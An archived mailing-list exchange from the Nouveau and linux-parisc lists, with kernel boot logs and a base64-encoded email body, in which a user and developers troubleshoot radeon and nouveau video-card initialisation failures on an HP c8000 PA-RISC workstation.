>> [   50.280000] [drm] radeon: cp finalized
>> [   50.592000] [drm] Radeon Display Connectors
>> [   50.592000] [drm] Connector 0:
>> [   50.592000] [drm]   VGA-1
>> [   50.592000] [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
>> [   50.592000] [drm]   Encoders:
>> [   50.592000] [drm]     CRT1: INTERNAL_DAC1
>> [   50.592000] [drm] Connector 1:
>> [   50.592000] [drm]   DVI-I-1
>> [   50.592000] [drm]   HPD1
>> [   50.592000] [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
>> [   50.592000] [drm]   Encoders:
>> [   50.592000] [drm]     CRT2: INTERNAL_DAC2
>> [   50.592000] [drm]     DFP1: INTERNAL_TMDS1
>> [   50.608000] radeon 0000:80:00.0: No connectors reported connected with modes
>> [   50.608000] [drm] Cannot find any crtc or sizes - going 1024x768
>> [   50.828000] [drm] fb mappable at 0xFFFFFFFFC0040000
>> [   50.828000] [drm] vram apper at 0xFFFFFFFFC0000000
>> [   50.828000] [drm] size 3145728
>> [   50.828000] [drm] fb depth is 24
>> [   50.828000] [drm]    pitch is 4096
>> [   51.848000] Console: switching to colour frame buffer device 128x48
>> [   52.080000] radeon 0000:80:00.0: fb0: radeondrmfb frame buffer device
>> [   52172000] [drm] Initialized radeon 2.43.0 20080528 for
>> 0000:80:00.0 on minor 0
>>
>> NVIDIA QUADRO MXR
>> [   51.880000] nouveau 0000:80:00.0: enabling SERR and PARITY (0007 -> 0147)
>> [   52.044000] nouveau 0000:80:00.0: NVIDIA NV11 (011300a1)
>> [   52.364000] nouveau 0000:80:00.0: bios: version 03.11.01.24.00
>> [   52.488000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>> [   52.592000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>> [   52.668000] nouveau 0000:80:00.0: tmr: unknown input clock freq
>> [   52.740000] nouveau 0000:80:00.0: fb: 32 MiB SDRAM
>> [   52.844000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   52.920000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   52.920000] [TTM] Initializing pool allocator
>> [   52.928000] nouveau 0000:80:00.0: DRM: VRAM: 31 MiB
>> [   52.928000] nouveau 0000:80:00.0: DRM: GART: 512 MiB
>> [   52.928000] nouveau 0000:80:00.0: DRM: BMP version 5.20
>> [   52.928000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>> [   52.928000] nouveau 0000:80:00.0: DRM: Adaptor not initialised,
>> running VBIOS init tables.
>> [   53.016000] nouveau 0000:80:00.0: DRM: Saving VGA fonts
>> [   53.336000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>> [   53.336000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   53.336000] [drm] Driver supports precise vblank timestamp query.
>> [   53.336000] nouveau 0000:80:00.0: DRM: 0xABA2: Parsing digital
>> output script table
>> [   53.920000] nouveau 0000:80:00.0: DRM: MM: using M2MF for buffer copies
>> [   54.144000] nouveau 0000:80:00.0: DRM: allocated 1920x1200 fb:
>> 0x8000, bo 000000007cee1000
>> [   54.276000] nouveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
>> output script table
>> [   54.312000] Console: switching to colour frame buffer device 240x75
>> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>> software fbcon
>> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
>> 0000:80:00.0 on minor 0
>> _______________________________________________
>> Nouveau mailing list
>> Nouveau@lists.freedesktop.org
>> https://lists.freedesktop.org/mailman/listinfo/nouveau
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.parisc
Subject: [Radeon] PA-RISC (hppa) video cards init failure loading
 the device driver kernel module
Date: Mon, 4 Apr 2016 06:03:19 +0200
Lines: 257
Approved: news@gmane.org
Message-ID: <CACrbsaCc-LktO0hKBuVqyzgZ7nrr1CRsgiXTypg=JP2awNNb4Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1459742612 18878 80.91.229.3 (4 Apr 2016 04:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Apr 2016 04:03:32 +0000 (UTC)
Cc: Paolo Gai <pj-YOzL5CV4y4YG1A2ADO40+w@public.gmane.org>, Graham Gower <graham.gower-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 "nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org" <nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>,
 Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Riccardo Schiavi <r.schiavi-YOzL5CV4y4YG1A2ADO40+w@public.gmane.org>,
 Gianni Bianchini <giannibi-r5hSCL7ikwlOhR2lhbcafA@public.gmane.org>,
 John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
 Daniele Mazzi <daniele.mazzi-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
To: linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Original-X-From: nouveau-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org Mon Apr 04 06:03:29 2016
Return-path: <nouveau-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
Envelope-to: gcfxn-nouveau@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <nouveau-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>)
	id 1amvjb-0000gn-DA
	for gcfxn-nouveau@m.gmane.org; Mon, 04 Apr 2016 06:03:27 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id E29946E09F;
	Mon,  4 Apr 2016 04:03:23 +0000 (UTC)
X-Original-To: nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Delivered-To: nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Original-Received: from mail-ig0-x231.google.com (mail-ig0-x231.google.com
 [IPv6:2607:f8b0:4001:c05::231])
 by gabe.freedesktop.org (Postfix) with ESMTPS id C56016E29C
 for <nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>; Mon,  4 Apr 2016 04:03:20 +0000 (UTC)
Original-Received: by mail-ig0-x231.google.com with SMTP id f1so55588032igr.1
 for <nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>; Sun, 03 Apr 2016 21:03:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=mime-version:date:message-id:subject:from:to:cc;
 bh=Hm6yrPWP6Vf1A7BWDCepEjvIor6uFHmfaJJjtp3OG24=;
 b=BICrTQ+qLJO9OnBXdKUdIY5mjPejw/R921t1Q98YrCvgdSTm27LePDFd4kJBg0Ksct
 CfPsgJN2OAo6KYG5jTvsKwPgRcNaJXYQMDC++vpsYW/RznV+AagOXcv6IiOkCCmCSoNG
 D4LFFhLUymJVVA5jbx/PQHg5tJnPq+PId24CzOmDIt1crw7fC1yRbZzJdAePNYMV+xDK
 e6ZweMYH4l03xiDRcNRn/YmLRcvHXuEv+jbcCpAMf0CefHKtkeFxsfO7Rrm5zS/1VrPX
 xCZEwb/FrlFdwZH0PjVjORZ23XmlbQATiz3PN/F3PVxcAF4tqgCv0zeyLI2ObHcDB0rQ
 fu+w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20130820;
 h=x-gm-message-state:mime-version:date:message-id:subject:from:to:cc;
 bh=Hm6yrPWP6Vf1A7BWDCepEjvIor6uFHmfaJJjtp3OG24=;
 b=g25xQe1ilS3Uhva+4NEHizni3M+nK3V78Fy1Euw1qg88aY8nO2rfxd97Wy7UBpM+o5
 hRXwYJBVfht8rio+0hSIKlFeN5sgiF/Ulr2bwwiHETlUsWToXdCV1L0w1fNDaqj5VpMi
 Yl6Baznr8jrjSXvzbB/2ZzvzGrG0b5hxF2iiwECVg1FKa4AAgL92BHn9idgOwDiDSVuR
 ndjkdTX5Luj/ABjpBjcCoYDf9t0ZavySfzKyVqRiA42jaAuZ4JZcd1J9WUIg0h4/BL6E
 UplZVBa5ml4SXJ7nQIVAMQBNBeJ+++YSNE30ldy4e2m0zly+y2xYREvHS0x88JX4eJDb
 jkmw==
X-Gm-Message-State: AD7BkJKmpRe1DL2G7l4yFoETFW7PH42K/+0X4cJDA8uCXS4w1SrEzfZVY8zA2jBnGmWAJKRd9uh29QqseI6u3A==
X-Received: by 10.107.3.149 with SMTP id e21mr11784717ioi.46.1459742599310;
 Sun, 03 Apr 2016 21:03:19 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Sun, 3 Apr 2016 21:03:19 -0700 (PDT)
X-BeenThere: nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Nouveau development list <nouveau.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/nouveau>,
 <mailto:nouveau-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/nouveau>
List-Post: <mailto:nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
List-Help: <mailto:nouveau-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/nouveau>,
 <mailto:nouveau-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=subscribe>
Errors-To: nouveau-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Original-Sender: "Nouveau" <nouveau-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
Xref: news.gmane.org gmane.comp.freedesktop.xorg.nouveau:24347 gmane.linux.ports.parisc:26580
Archived-At: <http://permalink.gmane.org/gmane.comp.freedesktop.xorg.nouveau/24347>

VGhlIHZlcnkgc2FtZSBvcHRpb24gbGlzdCwgYnV0IGZvciB0aGUgInJhZGVvbiIga2VybmVsIG1v
ZHVsZToKCmh0dHA6Ly94b3JnLmZyZWVkZXNrdG9wLm9yZy93aWtpL1JhZGVvbkZlYXR1cmUvI2lu
ZGV4NGgyCgogICAgIFNpbW9uZSBNYW5ub3JpIC0gSXRhbHkKCk9uIDQgQXByaWwgMjAxNiBhdCAw
NTo1NiwgU2ltb25lIE1hbm5vcmkgPHNpbW9uZS5tYW5ub3JpQGdtYWlsLmNvbT4gd3JvdGU6Cj4g
RGVhciBJbGlhLAo+Cj4gdGhpcyBwYWdlIHN1bW1hcml6ZSBhbGwgdGhlIHBvc3NpYmxlIG9wdGlv
bnMgb2YgdGhlICJub3V2ZWF1IiBrZXJuZWwgbW9kdWxlOgo+Cj4gaHR0cHM6Ly9ub3V2ZWF1LmZy
ZWVkZXNrdG9wLm9yZy93aWtpL0tlcm5lbE1vZHVsZVBhcmFtZXRlcnMvCj4KPiBJIHdpbGwgdGVz
dCB0aGUgb3B0aW9ucyB0aGF0IHlvdSBoYXZlIHN1Z2dlc3RlZCBhcyBzb29uIGFzIHBvc3NpYmxl
Lgo+Cj4gVHJ5IGEgUENJIHZpZGVvIGNhcmQgaXMgYSB2ZXJ5IGdvb2QgYWR2aWNlIGJlY2F1c2Ug
dGhlCj4gQUdQL0ZYMShjaGlwc2V0KSBpcyBvbiB0aGUgdG9wIG9mIHRoZSAidXN1YWwgc3VzcGVj
dHMiIGxpc3Q7Cj4gdW5mb3J0dW5hdGVseSB0aGUgYzgwMDAgaGFzIDMuMyBQQ0kgc2xvdHMgYW5k
IGFsbCB0aGUgKHZlcnkgb2xkKSBQQ0kKPiB2aWRlbyBjYXJkcyBpbiBteSBoYW5kcyBoYXZlIDVW
IFBDSSBjb25uZWN0b3IKPgo+IE1hbnkgdGhhbmtzIGZvciB5b3VyIHN1Z2dlc3Rpb25zIGFuZCBh
ZHZpY2UuCj4KPiAgICBTaW1vbmUgTWFubm9yaSAtIEl0YWx5Cj4KPgo+IE9uIDQgQXByaWwgMjAx
NiBhdCAwNDoxOCwgSWxpYSBNaXJraW4gPGltaXJraW5AYWx1bS5taXQuZWR1PiB3cm90ZToKPj4g
Tm90IHN1cmUgYWJvdXQgdGhlIHJhZGVvbiBpc3N1ZSwgYnV0Cj4+Cj4+ICJEUk06IEdQVSBsb2Nr
dXAgLSBzd2l0Y2hpbmcgdG8gc29mdHdhcmUgZmJjb24iCj4+Cj4+IGJhc2ljYWxseSBtZWFucyAi
dGhlIENQVSBpc24ndCBhYmxlIHRvIHN1Ym1pdCBjb21tYW5kcywgb3IgdGhlIEdQVQo+PiBpc24n
dCBleGVjdXRpbmcgdGhlIGNvbW1hbmRzIi4gQmFzaWNhbGx5IHRoZSBHUFUgY2FuIG9ubHkgaGF2
ZSBzbyBtYW55Cj4+IGNvbW1hbmRzIG91dHN0YW5kaW5nIFt3ZWxsLCBjb21tYW5kIGJ1ZmZlcnNd
LCBhbmQgd2UgaGl0IHRoYXQgbGltaXQuCj4+IEZyb20gd2hhdCBJIHVuZGVyc3RhbmQsIFBBLVJJ
U0MgaGFzIGEgImZ1bm55IiBhcmNoaXRlY3R1cmUgdGhhdCBpcwo+PiB2ZXJ5IHVubGlrZSB4ODYg
aW4gdGVybXMgb2YgbWVtb3J5IGNvaGVyZW5jeSwgYW5kIGlzIHRodXMgbW9yZSBsaWtlbHkKPj4g
dG8gaGl0IGlzc3VlcyB0aGF0IGRvbid0IGV4aXN0IG9uIG90aGVyIGFyY2hpdGVjdHVyZXMuIFBl
cmhhcHMgeW91IGNhbgo+PiBzdW1tYXJpemUgdGhlIGtleSBwb2ludHMgb2Ygb2RkbmVzcz8gUGVy
aGFwcyB0aGVyZSdzIHNvbWUgZGVidWcKPj4gImRpc2FibGUgY2FjaGVzIiBtb2RlIG9yIHNvbWV0
aGluZz8gQWxzbyBub3RlIHRoYXQgbm91dmVhdSB3b24ndCB3b3JrCj4+IHdlbGwgb24gYW4gYXJj
aGl0ZWN0dXJlIHdpdGggYSBub24tNEsgcGFnZSBzaXplLiBOb3Qgc3VyZSBpZiB0aGF0J3MKPj4g
dGhlIHNpdHVhdGlvbiBmb3IgeW91Lgo+Pgo+PiBJIHNlZSB0aGF0IGl0J3MgdXNpbmcgQUdQIC0g
dGhlcmUncyBhIGhpZ2ggY2hhbmNlIHRoYXQgc29tZXRoaW5nCj4+IEFHUC1yZWxhdGVkIGlzIGJy
b2tlbiAtIHRyeSBib290aW5nIHdpdGggbm91dmVhdS5jb25maWc9TnZBR1A9MCAob3IKPj4gbm91
dmVhdS5hZ3Btb2RlPTAgZm9yIHByZS00LjMga2VybmVscykuCj4+Cj4+IFBlcmhhcHMgaXQgaGFz
IGlzc3VlcyBETUEnaW5nIHRoZSBjb21tYW5kIGJ1ZmZlciBmcm9tIHN5c3RlbSBtZW1vcnksCj4+
IHdlIGNhbiB0cnkgZm9yY2luZyB0aGUgcHVzaGJ1ZiB0byBiZSBpbiB2cmFtIC0gYm9vdCB3aXRo
Cj4+IG5vdXZlYXUudnJhbV9wdXNoYnVmPTEgLgo+Pgo+PiBJZiB0aGVyZSBhcmUgUENJIHNsb3Rz
IGFuZCB5b3UgaGF2ZSBhIFBDSSB2aWRlbyBjYXJkIGhhbmR5LCBJJ2QKPj4gZGVmaW5pdGVseSB0
cnkgdGhhdCB0b28uCj4+Cj4+IEdvb2QgbHVjaywKPj4KPj4gICAtaWxpYQo+Pgo+PiBPbiBTdW4s
IEFwciAzLCAyMDE2IGF0IDM6NTEgQU0sIFNpbW9uZSBNYW5ub3JpIDxzaW1vbmUubWFubm9yaUBn
bWFpbC5jb20+IHdyb3RlOgo+Pj4gRGVhciAibm91dmVhdSIgZGV2ZWxvcGVycywKPj4+Cj4+PiBJ
IGtub3cgdGhhdCBtYW55IHZlcnkgY29tcGV0ZW50IGd1eXMgaGF2ZSBhbHJlYWR5IHNwZW50IGEg
bG90IG9mIHRpbWUKPj4+IGFuZCBlZmZvcnRzIG9uIHRoaXMgaXNzdWUgd2l0aG91dCBzdWNjZXNz
LiBJIGhhdmUgc3RhcnRlZCB0byBwbGF5IHdpdGgKPj4+ICJocHBhIiB0d28gd2Vla3MgYWdvIGFu
ZCwgd2l0aCB0aGUgc3VwcG9ydCBvZiB0aGUgbGludXgtcGFyaXNjIG1haWxpbmcKPj4+IGxpc3Qg
cGVvcGxlLCBub3cgSSBoYXZlIGEgLSBhbG1vc3QgZnVsbHkgLSB3b3JraW5nIHdvcmtzdGF0aW9u
IChocAo+Pj4gYzgwMDApLgo+Pj4KPj4+IEV2ZXJ5dGhpbmdzIHdvcmsgcGVyZmVjdGx5IEJVVCB0
aGUgdmlkZW8gY2FyZC4gTm8gbWF0dGVyIHRoZSBtb2RlbCwKPj4+IHR5cGUsIGRyaXZlciwgZXRj
LiB0aGUgcmVzdWx0cyBhcmUgYWx3YXlzIHRoZSBzYW1lOiBhIHZlcnkgc2xvdyBmcmFtZQo+Pj4g
YnVmZmVyIG1vZGUgb25seS4KPj4+Cj4+PiBJJ20gZm9yd2FyZGluZyB0aGUgcmVzdWx0cyBvZiBt
eSBpbnZlc3RpZ2F0aW9ucyB3aXRoIHRoZSBob3BlIHRoYXQKPj4+IHNvbWVvbmUgb2YgeW91IHdp
bGwgaGVscCBtZSB0byBmaW5kIHRoZSByaWdodCBwYXRoIHRvIGZpeCB0aGlzIGlzc3VlLgo+Pj4K
Pj4+IFRoYW5rcyBpbiBhZHZhbmNlIGZvciB5b3VyIGhlbHAuCj4+Pgo+Pj4gICBTaW1vbmUgTWFu
bm9yaSAtIEl0YWx5Cj4+Pgo+Pj4gLy8qKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQo+Pj4KPj4+IC0tLS0tLS0tLS0gRm9yd2FyZGVkIG1lc3NhZ2Ug
LS0tLS0tLS0tLQo+Pj4gRnJvbTogU2ltb25lIE1hbm5vcmkgPHNpbW9uZS5tYW5ub3JpQGdtYWls
LmNvbT4KPj4+IERhdGU6IDMgQXByaWwgMjAxNiBhdCAwOTozNAo+Pj4gU3ViamVjdDogVmlkZW8g
Y2FyZHMgaW5pdCBmYWlsdXJlIGxvYWRpbmcgdGhlIGRldmljZSBkcml2ZXIga2VybmVsIG1vZHVs
ZQo+Pj4gVG86IEpvaG4gRGF2aWQgQW5nbGluIDxkYXZlLmFuZ2xpbkBiZWxsLm5ldD4KPj4+IENj
OiBIZWxnZSBEZWxsZXIgPGRlbGxlckBnbXguZGU+LCBHcmFoYW0gR293ZXIKPj4+IDxncmFoYW0u
Z293ZXJAZ21haWwuY29tPiwgbGludXgtcGFyaXNjIDxsaW51eC1wYXJpc2NAdmdlci5rZXJuZWwu
b3JnPgo+Pj4KPj4+Cj4+PiBEZWFyIEFsbCwKPj4+Cj4+PiBmb2xsb3dpbmcgeW91IHN1Z2dlc3Rp
b25zLCBub3cgSSBoYXZlIGFuIC0gYWxtb3N0IC0gcGVyZmVjdGx5IHdvcmtpbmcKPj4+IGhwIGM4
MDAwIHdvcmtzdGF0aW9uLgo+Pj4KPj4+IE1pc3Npb24gYWNjb21wbGlzaGVkPyBOb3QgZXhhY3Rs
eTogZGVzcGl0ZSBhIGxvdCBvZiBlZmZvcnRzLCB0aGUgdmlkZW8KPj4+IGNhcmQgc2VjdGlvbiBp
cyBzdGlsbCBub3QgZnVsbHkgb3BlcmF0aXZlLiBMZXQgbWUgcmVzdW1lIHRoZQo+Pj4gc2l0dWF0
aW9uLgo+Pj4KPj4+IEknbSB1c2luZyBhIGM4MDAwIHdpdGggdHdvIFBBLTg4MDAgYW5kIERlYmlh
biA4LjAsIGtlcm5lbDoKPj4+Cj4+PiBMaW51eCB2ZXJzaW9uIDQuNC4wLTEtcGFyaXNjNjQtc21w
IChkZWJpYW4ta2VybmVsQGxpc3RzLmRlYmlhbi5vcmcpCj4+PiAoZ2NjIHZlcnNpb24gNC45LjMg
KEdDQykgKSAjMSBTTVAgRGViaWFuIDQuNC42LTEgKDIwMTYtMDMtMTcpCj4+Pgo+Pj4gSSBoYXZl
IHR3byB2ZXJ5IGRpZmZlcmVudCBBR1AgdmlkZW8gY2FyZHMgKEFUSSBGaXJlR0wgVDIgYW5kIE5W
SURJQQo+Pj4gUVVBRFJPIE1YUikgdGhhdCBoYXZlIHRoZSBzYW1lIGlzc3VlLCBkZXNwaXRlIHRo
ZSB0d28gY29tcGxldHkKPj4+IGRpZmZlcmVudCBkcml2ZXJzICgicmFkZW9uIiBhbmQgIm5vdXZl
YXUiKS4gVGhlIGZ1bGwgbG9ncyBhcmUgaW4KPj4+IGJvdHRvbSBvZiB0aGlzIHBvc3QuIEp1c3Qg
dG8gbWFrZSBhIGxvbmcgaGlzdG9yeSBzaG9ydDoKPj4+Cj4+PiBBVEkgRklSRSBHTCBUMiAoInJh
ZGVvbiIpCj4+PiBbICAgNDcuODM2MDAwXSBbZHJtOnIxMDBfcmluZ190ZXN0IFtyYWRlb25dXSAq
RVJST1IqIHJhZGVvbjogcmluZyB0ZXN0Cj4+PiBmYWlsZWQgKHNjcmF0Y2goMHgxNUU0KT0weENB
RkVERUFEKQo+Pj4gWyAgIDQ3Ljk0ODAwMF0gW2RybTpyMTAwX2NwX2luaXQgW3JhZGVvbl1dICpF
UlJPUiogcmFkZW9uOiBjcCBpc24ndAo+Pj4gd29ya2luZyAoLTIyKS4KPj4+IFsgICA0OC4wMzYw
MDBdIHJhZGVvbiAwMDAwOjgwOjAwLjA6IGZhaWxlZCBpbml0aWFsaXppbmcgQ1AgKC0yMikuCj4+
PiBbICAgNDguMDM2MDAwXSByYWRlb24gMDAwMDo4MDowMC4wOiBEaXNhYmxpbmcgR1BVIGFjY2Vs
ZXJhdGlvbgo+Pj4KPj4+IE5WSURJQSBRVUFEUk8gTVhSICgibm91dmVhdSIpCj4+PiBbICAgNTQu
Mzg4MDAwXSBub3V2ZWF1IDAwMDA6ODA6MDAuMDogRFJNOiBHUFUgbG9ja3VwIC0gc3dpdGNoaW5n
IHRvCj4+PiBzb2Z0d2FyZSBmYmNvbgo+Pj4gWyAgIDU0LjY4NDAwMF0gbm91dmVhdSAwMDAwOjgw
OjAwLjA6IGZiMDogbm91dmVhdWZiIGZyYW1lIGJ1ZmZlciBkZXZpY2UKPj4+IFsgICA1NC43ODQw
MDBdIFtkcm1dIEluaXRpYWxpemVkIG5vdXZlYXUgMS4zLjEgMjAxMjA4MDEgZm9yCj4+PiAwMDAw
OjgwOjAwLjAgb24gbWlub3IgMAo+Pj4KPj4+IExvb2tpbmcgaW5zaWRlIHRoZSBwb3N0cyBvbiBt
YW55IGRldmVsb3BlcnMgbWFpbGluZyBsaXN0cywgSSBzZWUgdGhhdAo+Pj4gbW9zdCBvZiB0aGUg
ZWZmb3J0cyBoYXZlIGJlZW4gZm9jdXNlZCBvbiB0aGUgdmlkZW8gZGV2aWNlIGRyaXZlcnMgaW5p
dAo+Pj4gY29kZS4gSSBoYXZlIHRyaWVkIHRvIGZvcmNlIHRoZSB2aWRlbyBkcml2ZXJzIHVzaW5n
IHRoZSAibW9kZXNldCIKPj4+IHBhcmFtZXRlciB3aXRob3V0IHN1Y2Nlc3MuIEkgaGF2ZSB0cmll
ZCBhbHNvIHRvIGJvb3Qgd2l0aG91dCB2aWRlbwo+Pj4gZHJpdmVyLCB0aGVuIGxvYWQgaXQgbWFu
dWFsbHkgdXNpbmcgIm1vZHByb2JlIi4gTm8gd2F5OiB0aGUgcmVzdWx0cwo+Pj4gYXJlIHRoZSBz
YW1lLgo+Pj4KPj4+ICJsc21vZCIgdGVsbCBtZSB0aGF0ICJyYWRlb24iLyJub3V2ZWF1IiBhcmUg
dXNlZCBieSB0aGUgInR0bSIgbW9kdWxlCj4+PiBhbmQgdGhleSBjYW5ub3QgYmUgcmVtb3ZlZCAo
ZGVzcGl0ZSB0aGUgIi0gciAtLWZvcmNlIiBtb2Rwcm9iZQo+Pj4gcGFyYW1ldGVycykuCj4+Pgo+
Pj4gTGV0IHN1cHBvc2UgZm9yIGEgbW9tZW50IHRoYXQgdGhlIGlzc3VlIGlzIE5PVCBpbnNpZGUg
dGhlIHZpZGVvIGRyaXZlcgo+Pj4gYnV0IGluIHRoZSAidHRtIiBtb2R1bGU6IHNvbWV0aGluZyBp
cyBub3QgZnVsbHkgY29ycmVjdCBpbiB0aGUKPj4+IGluaXRpYWxpemF0aW9uIG9mIHRoZSBaWDEg
Y2hpcHNldCwgdGhlcmVmb3JlIHRoZSB2aWRlbyBkcml2ZXIgY29kZSBnbwo+Pj4gY3JhenkgYmVj
YXVzZSBjYW5ub3QgbWF0Y2ggdGhlIHZpZGVvIGNhcmQgd2l0aCB0aGUgY2hpcHNldC4KPj4+Cj4+
PiBUaGUgb25seSB3YXkgdGhhdCBJIGtub3cgdG8gaW52ZXN0aWdhdGUgdGhpcyBpc3N1ZSBpcyB0
byByZWNvbXBpbGUgdGhlCj4+PiBrZXJuZWwgd2l0aCBkZWJ1ZyBzdXBwb3J0IGFuZCBleGVjdXRl
ICJzaW5nbGUgc3RlcCIvYnJlYWtwb2ludCB0aGUKPj4+IGNvZGUgdGhhdCBpbml0aWFsaXplIHRo
ZSB2aWRlbyBjYXJkIGFuZCB0aGUgY2hpcHNldCBuZWFyIHRoZSB6b25lIG9mCj4+PiB0aGUgZXJy
b3IgbWVzc2FnZS4KPj4+Cj4+PiBRdWVzdGlvbjogIldoYXQgYXJlIHRoZSBkZWIgcGFja2FnZXMg
dGhhdCBJIG5lZWQgdG8gaW5zdGFsbCB0bwo+Pj4gcmVjb21waWxlIHRoZSAgNC40LjAtMS1wYXJp
c2M2NC1zbXAga2VybmVsIChvciBhbm90aGVyIGtlcm5lbCB2ZXJzaW9uCj4+PiBzdWl0YWJsZSBm
b3IgdGhpcyBpbnZlc3RpZ2F0aW9uKSA/Cj4+Pgo+Pj4gVGhhbmtzIGluIGFkdmFuY2UgZm9yIHlv
dSBoZWxwCj4+Pgo+Pj4gICAgU2ltb25lIE1hbm5vcmkgLSBJdGFseQo+Pj4KPj4+IC8vKiotLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo+Pj4K
Pj4+IEFUSSBGSVJFIEdMIFQyCj4+PiBbICAgNDUuNDYwMDAwXSBbZHJtXSByYWRlb24ga2VybmVs
IG1vZGVzZXR0aW5nIGVuYWJsZWQuCj4+PiBbICAgNDUuNTc2MDAwXSByYWRlb24gMDAwMDo4MDow
MC4wOiBlbmFibGluZyBTRVJSIGFuZCBQQVJJVFkgKDAxMDcgLT4gMDE0NykKPj4+IFsgICA0NS42
NjAwMDBdIFtkcm1dIGluaXRpYWxpemluZyBrZXJuZWwgbW9kZXNldHRpbmcgKFJWMzUwCj4+PiAw
eDEwMDI6MHg0MTU0IDB4MTAwMjoweDAwMDIpLgo+Pj4gWyAgIDQ1LjgxMjAwMF0gW2RybV0gcmVn
aXN0ZXIgbW1pbyBiYXNlOiAweEM4MDIwMDAwCj4+PiBbICAgNDUuODY4MDAwXSBbZHJtXSByZWdp
c3RlciBtbWlvIHNpemU6IDY1NTM2Cj4+PiBbICAgNDYuMDg0MDAwXSByYWRlb24gMDAwMDo4MDow
MC4wOiBwdXR0aW5nIEFHUCBWMyBkZXZpY2UgaW50byA4eCBtb2RlCj4+PiBbICAgNDYuMTYwMDAw
XSByYWRlb24gMDAwMDo4MDowMC4wOiBHVFQ6IDUxMk0gMHg2MDAwMDAwMCAtIDB4N0ZGRkZGRkYK
Pj4+IFsgICA0Ni4yMzYwMDBdIFtkcm1dIEdlbmVyYXRpb24gMiBQQ0kgaW50ZXJmYWNlLCB1c2lu
ZyBtYXggYWNjZXNzaWJsZSBtZW1vcnkKPj4+IFsgICA0Ni4zMTYwMDBdIHJhZGVvbiAwMDAwOjgw
OjAwLjA6IFZSQU06IDEyOE0gMHhGRkZGRkZGRkMwMDAwMDAwIC0KPj4+IDB4RkZGRkZGRkZDN0ZG
RkZGRiAoMTI4TSB1c2VkKQo+Pj4gWyAgIDQ2LjQyMDAwMF0gW2RybV0gRGV0ZWN0ZWQgVlJBTSBS
